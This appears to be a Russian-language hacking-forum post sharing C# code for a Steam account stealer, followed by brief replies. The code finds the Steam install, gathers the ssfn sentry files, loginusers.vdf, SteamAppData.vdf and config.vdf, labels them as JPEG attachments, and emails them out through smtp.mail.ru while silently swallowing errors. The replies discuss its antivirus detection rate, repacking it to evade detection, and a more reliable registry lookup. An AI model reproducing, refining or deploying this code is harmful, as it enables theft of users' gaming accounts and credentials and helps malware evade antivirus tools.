using System.IO; using System.Net; using System.Net.Mail; using System.Net.Mime; using System.Diagnostics; Код using System.IO; using System.Net; using System.Net.Mail; using System.Net.Mime; using System.Diagnostics; string find_steam_location() { foreach (Process Proc in Process.GetProcessesByName("Steam")) { string fullpath = Proc.MainModule.FileName; return fullpath; } return null; } Код string find_steam_location() { foreach (Process Proc in Process.GetProcessesByName("Steam")) { string fullpath = Proc.MainModule.FileName; return fullpath; } return null; } try { string steam_location = find_steam_location(); string st = steam_location.Remove(steam_location.IndexOf("Steam.exe")); var client = new SmtpClient("smtp.mail.ru", 25); var credential = new NetworkCredential("mail", "pass"); client.Credentials = credential; client.EnableSsl = true; client.DeliveryMethod = SmtpDeliveryMethod.Network; var message = new MailMessage("отправитель", "кому", "Тема", "Текст"); Directory.GetFiles(st, "ssfn*", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Image.Jpeg))); Directory.GetFiles(st, "loginusers.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Image.Jpeg))); Directory.GetFiles(st, "SteamAppData.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Image.Jpeg))); Directory.GetFiles(st, "config.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Image.Jpeg))); client.Send(message); } catch { } Код try { string steam_location = find_steam_location(); string st = steam_location.Remove(steam_location.IndexOf("Steam.exe")); var client = new SmtpClient("smtp.mail.ru", 25); var credential = new NetworkCredential("mail", "pass"); client.Credentials = credential; client.EnableSsl = true; client.DeliveryMethod = SmtpDeliveryMethod.Network; var message = new MailMessage("отправитель", "кому", "Тема", "Текст"); Directory.GetFiles(st, "ssfn*", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Image.Jpeg))); Directory.GetFiles(st, "loginusers.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Image.Jpeg))); Directory.GetFiles(st, "SteamAppData.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Image.Jpeg))); Directory.GetFiles(st, "config.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Image.Jpeg))); client.Send(message); } catch { } ******* выходит где то 4/61 если засрался, меняйте оболочку под него
Очень тупо дёргать путь стима через процесс, лучше через реестр, так он будет гарантировано получен, если стим есть на компе https://fuckav.ru/showthread.php?p=117807 рофл, темка 2015 года с твоим кодом поиска, а ещё работает